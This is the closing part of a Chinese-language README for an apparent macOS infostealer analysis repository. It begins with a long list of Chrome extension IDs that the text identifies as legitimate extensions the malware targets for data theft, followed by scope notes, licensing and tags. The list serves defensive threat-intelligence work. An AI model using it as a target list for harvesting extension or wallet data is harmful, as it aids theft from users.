ibnejdfjmmkpcnlpebklmnkoeoihofec icmkfkmjoklfhlfdkkkgpnpldkgdmhoe idnnbdplmphpflfnlkomgpfbpcgelopg idpfplgehakelkdadhcacicjjbemjbke ifckdpamphokdglkkdomedpdegcjhjdp ifclboecfhkjbpmhgehodcjpciihhmif ifgjklbmlnimhldbmddmkdhoahfocppf ikcpjgihikfinlkobegiiogdigohmfam ilhaljfiglknggcoegeknjghdgampffk imlcamfeniaidioeflifonfjeeppblda iokeahhehimjnekafflcihljlcjccdbe jaooiolkmfcmloonphpiiogkfckgciom jbdaocneiiinmjbjlgalhcelgbejmnid jccapkebeeiajkkdemacblkjhhhboiek jfdlamikmbghhapbgfoogdffldioobgl jfflgdhkeohhkelibbefdcgjijppkdeb jhjebgdkdemiibiibgickfkilfpbelaj jhnilbocebbmeelaolalihfokjgdmogb jicpmdkafljkkppgpellcjhfhdmjpogm jiepnaheligkibgcjgjepjfppgbcghmp jiidiaalihmmhddjgbnbgdfflelocpak jjkhekbaikcnpnhflnnlnbonkkobkiim jljjeghmeihjegifdhbghcoihdiegkkl jmgipjhlmabpmcikcahmmgleghckefjg jnggcdmajcokeakpdeagdhphmkioabem jnldfbidonfeldmalbflbmlebbipcnle jnlgamecbpmbajjfhmmmlhejkemejdma jojhfeoedkpkglbfimdfabpdfjaoolaf kdgponmicjmjiejhifbjgembdcaclcib keenhcnmdmjjhincpilijphpiohdppno kfdniefadaanbjodldohaedphafoffoh kgdijkcfiglijhaglibaidbipiejjfdp khgocmkkpikpnmmkgmdnfckapcdkgfaf khpkpbbcccdmmclmpigdgddabeilkdpd kilnpioakcdndlodeeceffgjdpojajlo kjjebdkfeagdoogagbhepmbimaphnfln kkpehldckknjffeakihjajcjccmcjflh kkpllbgjhchghjapjbinnoddmciocphm kkpllkodjeloidieedojogacfhpaihoh klghhnkeealcohjjanjjdaeeggmfmlpl kmphdnilpmdejikjdnlbcnmnabepfgkh kncchdigobghenbbaddojjnnaogfppfj kolfcecahpbgbilkdkalabnfjjklkkae kpfopkelmapcoipemfendmdcghnegimn kppfdiipphfccemcignhifpjkapfbihd kppgpfphbmbcgeglphjnhnhibonmebkn lccbohhgfkdikahanoclbdmaolidjdfl ldcihfaojdpmhjkhioilfjjckehehddg lfmmjkfllhmfmkcobchabopkcefjkoip lgmpcpglpngdoalbgeoldeajfclnhafa lkpmkhpnhknhmibgnmmhdhgdilepfghe llakdhpogpnejheknjbhbadoaomejgbi lmkncnlpeipongihbffpljgehamdebgi lnnnmfcpbkafcpgdilckhmhbkkbpkmid loinekcabhlmhjjbocijdoimmejangoa lpfcbjknijpeeillifnkikgncikgfhdo lpilbniiabackdjcionkobglmddfbcjo magbanejlegnbcppjljfhnmfmghialkl mapbhaebnddapnmifbbkgeedkeplgjmf mcbigmjiafegjnnogedioegffbooigli mcohilncbfahbmgdjkbpemcciiolgcge mdjjoodeandllhefapdpnffjolechflh mdjmfdffdcmnoblignmgpommbefadffd mdnaglckomeedfbogeajfajofmfgpoae mfgccjchihfkkindfppnaooecgfneiii mfiealgchgibibbamfjebflnfjihfedk mgbfflhghaohmaecmaggieniidindaoc mgfbabcnedcejkfibpafadgkhmkifhbd mgffkfbidihjpoaomajlbgchddlicgpn mjgkpalnahacmhkikiommfiomhjipgjn mkchoaaiifodcflmbaphdgeidocajadp mkjjflkhdddfjhonakofipfojoepfndk mkpegjkblkkefacfnmkajcjmabijhclg mlbnicldlpdimbjdcncnklfempedeipj mlhakagmgkmonhdonhkpjeebfphligng mmmjbcfofconkannjonfmjjajpllddbg mnfifefkajgofkcjkemidiaecocnkjeh mnnkpffndmickbiakofclnpoiajlegmg modjfdjcodmehnpccdjngmdfajggaoeh nanjmdknhkinifnkgdcggcfnhdaammmj nankopfjhdflikcokhgohiaoehnjfako nbdhibgjnjpnkajaghbffjbkcgljfgdi nbdpmlhambbdkhkmbfpljckjcmgibalo nebnhfamliijlghikdgcigoebonmoibm nfaepmamdapehcbedhejbjcpnlcldodi nfinomegcaccbhchhgflladpfbajihdf ngakogceekkandcbkniokoghdckjhhok nglnaekfdaelelcaokeemlnopjhekdkj nhlnehondigmgckngjomcpcefcdplmgc nhnkbkgjikgcigadomkphalanndcapjk niiaamnmgebpeejeemoifgdndgeaekhe njoljnomkdoakfphjbapdopdcneceeaf nkbihfbeogaeaoehlefnkodbefgpgknn nkddgncdjgjfcddamfgcmfnlhccnimig nknhiehlklippafakaeklbeglecifhad nlbmnnijcnlegkjjpcfjclmcfggfefdm nlgnepoeokdfodgjkjiblkadkjbdfmgd nopnfnlbinpfoihclomelncopjiioain nphplpgoakhhjchkkhmiggakijnkhfnd ocjdpmoallmgmjbbogfiiaofphbjgchh ocjobpilfplciaddcbafabcegbilnbnb ocmccklecaalljlflmclidjeclpcpdim odbfpeeihdkbihmopkbjmoonfanlbfcl oehdbmfbnjnpahadljbdcjndmepmgjgl ofeeamlegilfbjlgbephmdhchpblfigo ohjgojhmjldjfiningdelbffpnddmiphh ojggmchlghnjlapmfbnjholfjkiidbch oklkeijlcjcpbokmkmnjepjhnggkfkcl oldojieloelkkfeacfinhcngmbkepnlm olgpchjlegmakkhfbahgnjojlefnealp olkbchllhcflpbjfgagahpkjnjioiedg omaabbefbmiijedngplfjmnooppbclkk omajpeaffjgmlpmhbfdjepdejoemifpe onhogfjeacnfoofkfgppdlbmlmnplgbn ooiepdgjjnhcmlaobfinbomgebfgablh ookjlbkiijinhpmnjffcofjonbfbgaoc opcgpfmipidbgpenhmajoajpbobppdil oponnjpnbhdmohlkonljdfhbeibljfoa oppceojapmdmhpnmjpballbbdclocdhj panpgppehdchfphcigocleabcmcgfoca pdadjkfkgcafgbceimcpbkalnfnepbnk pdgbckgdncnhihllonhnjbdoighgpimk pdliaogehgdbhbnmkklieghmmjkpigpa pdlocjdlejekdbpghdcmedeacpkfiiof peigonhbenoefaeplkpalmafieegnapj penjlddjkjgpnkllboccdgccekpkcbin pgiaagfkgcbnmiiolekcfmljdagdhlcm pgojdfajgcjjpjnbpfaelnpnjocakldb phkbamefinggmakgklpkljjmgibohnba pmmbeeacafhbpgmlkacpadheejlhhkbf pnndplcbkakcplkjnolgbkdgjikjednm pnphepacpjpklpbacfmebicbgndobakn pocmplpaccanhmnllbbkpgfliimjljgo pogabilnghhbafaheaepaaeopjpleimd ppbibelpcjmhbdihakflkdcoccbgbkpo ppdadbejkmjnefldpcdjhnkpbjkikoip ``` ## 范围与局限性 - 本仓库记录了针对单个恶意软件样本及其嵌入配置的**静态分析和解密**。 - 活动归因是**分析性**的,基于恢复的基础设施和 TTP 重叠;它**不是**执法机构的归因声明。 - 列出的 Chrome 扩展 ID 标识的是**被作为数据窃取目标的合法扩展**,而不是恶意扩展。 - 检测规则在生产部署前,应在目标环境中进行**验证和调优**。 - STIX 包遵循 STIX 2.1,但为了可读性使用了简化的 ID;如果需要消除冲突,请在导入生产 CTI 平台之前重新生成 UUID。 ## 发布历史 有关版本更新,请参见 [`CHANGELOG.md`](CHANGELOG.md)。 ## 贡献 有关指南、issue 模板和 PR 检查清单,请参见 [`CONTRIBUTING.md`](CONTRIBUTING.md)。 ## 许可证 分析文本和脚本在 [MIT 许可证](LICENSE) 下发布。IOC 列表和威胁情报内容仅供防御目的使用;在许可证条款允许下可在商业产品中重复使用。 *在沙箱环境中进行的独立逆向工程。加密配置通过静态分析和按辅助函数的 CPU 模拟恢复。参见 [`scripts/decrypt_all.py`](scripts/decrypt_all.py) 和 [`SECURITY.md`](SECURITY.md)。*
标签:ATT&CK Navigator, ATT&CK映射, C2基础设施, Chrome扩展窃取, DNS 反向解析, HTTP工具, HyperHives, IOCs, IP 地址批量处理, macOS安全, macOS恶意软件, STIX 2.1, 云安全监控, 云资产清单, 信息窃取工具, 加密分析, 加密货币钱包, 威胁情报, 开发者工具, 搜索语句(dork), 数字取证, 无线安全, 社工钓鱼, 网络威胁分析, 网络安全审计, 自动化脚本, 请求拦截, 逆向工具, 逆向工程, 速率限制处理, 静态分析